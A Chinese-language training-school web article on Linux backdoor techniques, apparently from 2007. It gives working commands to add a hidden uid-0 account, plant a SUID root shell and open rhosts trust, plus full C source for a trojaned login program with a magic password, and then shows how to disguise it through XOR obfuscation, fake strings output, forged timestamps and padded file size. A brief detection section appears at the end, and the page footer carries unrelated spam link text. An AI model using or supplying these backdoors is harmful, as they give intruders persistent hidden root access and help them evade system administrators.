1. gzyueqian
      18529173453
      首頁 > 新聞中心 > > 正文

      黑客技巧 Linux后門技術及實踐

      更新時間: 2007-05-18 15:16:36來源: 粵嵌教育瀏覽量:803


      后門簡介

        入侵者完全控制系統后,為方便下次進入而采用的一種技術。一般通過修改系統配置文件和安裝第三方后門工具來實現。具有隱蔽性,能繞開系統日志,不易被系統管理員發現等特點。

        常用后門技術

        增加超級用戶賬號

        破解/嗅探用戶密碼

        放置SUID Shell

        rhosts + +

        利用系統服務程序

        TCP/UDP/ICMP Shell

        Crontab定時任務

        共享庫文件

        工具包rootkit

        可裝載內核模塊(LKM)

        增加超級用戶

      # echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
      # echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

        如果系統不允許uid=0的用戶遠程登錄,還需要增加一個普通用戶賬號。

        破解/嗅探用戶密碼

        獲得shadow文件后,用John the Ripper 工具破解薄弱的用戶密碼。安裝sniffit等嗅探工具,監聽telnet、ftp等端口,收集用戶密碼。

        放置SUID Shell

      # cp /bin/bash /dev/.rootshell
      # chmod u+s /dev/.rootshell

        普通用戶在本機運行/dev/.rootshell,即可獲得一個root權限的shell。

      rhosts + +

      # echo "+ +" > /.rhosts
      # rsh -l root victim.com csh -i

        遠程可以得到一個rootshell。

        利用系統服務程序。

        修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替換in.telnetd、in.rexecd等inted的服務程序,重定向login程序。

        TCP/UDP/ICMP Shell

        BindShell,大部分是基于TCP/UDP協議的網絡服務程序,在高端口監聽,很容易被發現。Ping Backdoor,通過ICMP包激活后門,形成一個Shell通道。TCP ACK數據包后門,能夠穿越防火墻。
      Crontab定時任務
        通過Crontab程序調度已安裝的后門程序定時運行,一般在深夜時段,是系統管理員不在線的時間。

        共享庫文件

        在共享庫中嵌入后門函數使用后門口令激活Shell,獲得權限能夠躲避系統管理員對二進制文件本身的校驗。

        工具包Rootkit

        包含一系列系統及后門工具:

        - 清除日志中的登錄記錄

        - 偽裝校驗和

        - 替換netstat、ps等網絡工具

        - 后門登錄程序易于安裝和使用

        可裝載內核模塊(LKM)

        LKM:Loadable Kernel Modules 動態的加載,不需要重新編譯內核。

        截獲系統調用,具有隱藏目錄、文件、進程、網絡連接等強大功能。

        自身隱蔽性好,發現難度較大。

        的LKM包有adore和knark。

        后門的檢測

        以自己的經驗,結合特定的工具,手工作一些檢測。使用Tripwire或md5校驗來檢查系統。借助IDS系統,監聽到目標機器的可疑網絡連接。

        實例:Login后門

        入侵者先把原始的/bin/login備份,再用一段程序替換/bin/login。入侵者telnet登錄進來的時候,通過環境變量或者終端類型,傳遞了正確的后門密碼,將直接獲得一個Shell;如果是普通用戶登錄,將會重定向到原始的login文件,來處理正常的登錄。

        簡單的login后門ulogin.c源代碼如下:

        實例:login后門

      #include <stdio.h>
      #define PASSWORD "passWORD"
      #define _PATH_LOGIN "/sbin/logins"

      main (argc, argv, envp)
      int argc;
      char **argv, **envp;
      {
       char *display = getenv("DISPLAY");
       if ( display == NULL ) {
        execve(_PATH_LOGIN, argv, envp);
        perror(_PATH_LOGIN);
        exit(1);
       }
       if (!strcmp(display,PASSWORD)) {
        system("/bin/csh");
        exit(1);
       }
       execve(_PATH_LOGIN, argv, envp);
       exit(1);
      }
      利用后門登錄
        首先Telnet服務是打開的,在自己機器上:

      bash$ export DISPLAY=passWORD
      bash$ telnet victim.com
      Trying xxx.xxx.xxx.xxx...
      Connected to victim.com (xxx.xxx.xxx.xxx).
      Escape character is '^]'.
      % _

        Strings命令

        strings命令能夠打印出二進制文件中的可顯示字符串,用于剛才的ulogin程序:

      bash$ strings ulogin
      /lib/ld-linux.so.2
      ..............
      DISPLAY
      /sbin/logins
      passWORD
      /bin/csh

      加密后門密碼

        1,采用DES算法,即crypt( )函數,編寫gen.c程序:

      #include <unistd.h> 
      main(int argc, char *argv[]) 

      if (argc != 3) { 
      printf("usage: %s <password> <salt>\n", argv[0]); 
      exit(1); 

      printf("%s\n", crypt(argv[1], argv[2])); 
      }

        2、編譯為gen,執行./gen hack ui,得到的shadow結果為UiVqMWvDrIQjA。

        3、修改后門源程序ulogin.c:

        -- 以密文形式的密碼代替ulogin.c中define的宏PASSWORD值。

        -- 如果后門密碼正確,直接給出Shell:

      if (!strcmp(PASSWORD, crypt(display,PASSWORD))) 

      system(SHELL); 
      exit(1); 
      }

        用strings命令只能看到加密過的密碼。

        采用異或(XOR)算法,以十六進制方式表示字符串,以達到non- printable的效果。

        1、編碼程序encode.c如下:

      char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a"; 
      char *de(char *str,char *key) 

      int i=0,j=0,len; 
      len=strlen(key); 
      while(str[i] != '\0') { 
      str[i]^=key[j]; 
      j++; 
      if(j==len) j=0; 
      i++; 

      return str; 

      void display(char *str) 

      int i; 
      for(i=0;i<strlen(str);i++) printf("\\x%x",str[i]); 
      printf("\n"); 

      main() 

      char gets[100], *ptr; 
      ptr=gets; 
      scanf ("%s",ptr); 
      de(ptr,magic);display(ptr); 
      }

        2、編譯程序encode,依次執行得到關鍵字符串與magic串異或后的結果,例如原始login的文件名/sbin/xlogin,經過異或后為:

        \x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb

        3、在后門源代碼中這樣定義:

        Char

        login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

        然后插入異或函數char *de()結合同一magic串,就能判斷出正確的后門密碼。

        用strings命令看不到密碼、路徑等字符串了。

        的修飾

        使后門程序ulogin的strings輸出類似于正常login的strings輸出,做法為:

        在ulogin.c代碼中增加一個字符串數組char strings[] ="";,在引號中填入正常login程序的strings輸出結果。以假亂真,增加迷惑性。

        調整后門程序的文件日期、大小等屬性:

        1、日期

        # ls -l /sbin/xlogin

        -r-sr-xr-x root root 19300 Feb 11 1998

        /sbin/xlogin

        # touch -t 199802110000 ulogin

        # _

        2、調整大小

        # ls -l ulogin /sbin/xlogin

        -r-sr-xr-x root root 7542 Feb 11 1998 ulogin

        -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin

        # bc

        19300-7542

        11758

        # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1

        1+0 records in

        1+0 records out

        11758 bytes transferred in 0.000379 secs (31016746

        bytes/sec)

        # cat /tmp/t >> ulogin

        Login后門的檢測

        使用命令md5sum對現有/bin/login文件作校驗,與以前的值作比較。

        使用Red Hat Linux的RPM校驗:

        # rpm -V util-linux

        在入侵者已經利用后門登錄的情況下,who是看不到用戶的,查看系統進程,查找login -h xxx.xxx.xxx.xxx的字樣。

      免費預約試聽課

      亚洲另类欧美综合久久图片区_亚洲中文字幕日产无码2020_欧美日本一区二区三区桃色视频_亚洲AⅤ天堂一区二区三区

      
      

      1. 五月婷精品在线视频 | 亚洲一区婷婷在线 | 日本亚洲欧美另类在线图片区 | 日韩午夜午码高清福利片 | 亚洲日韩精品在线 | 亚洲精品国产品国语原创 |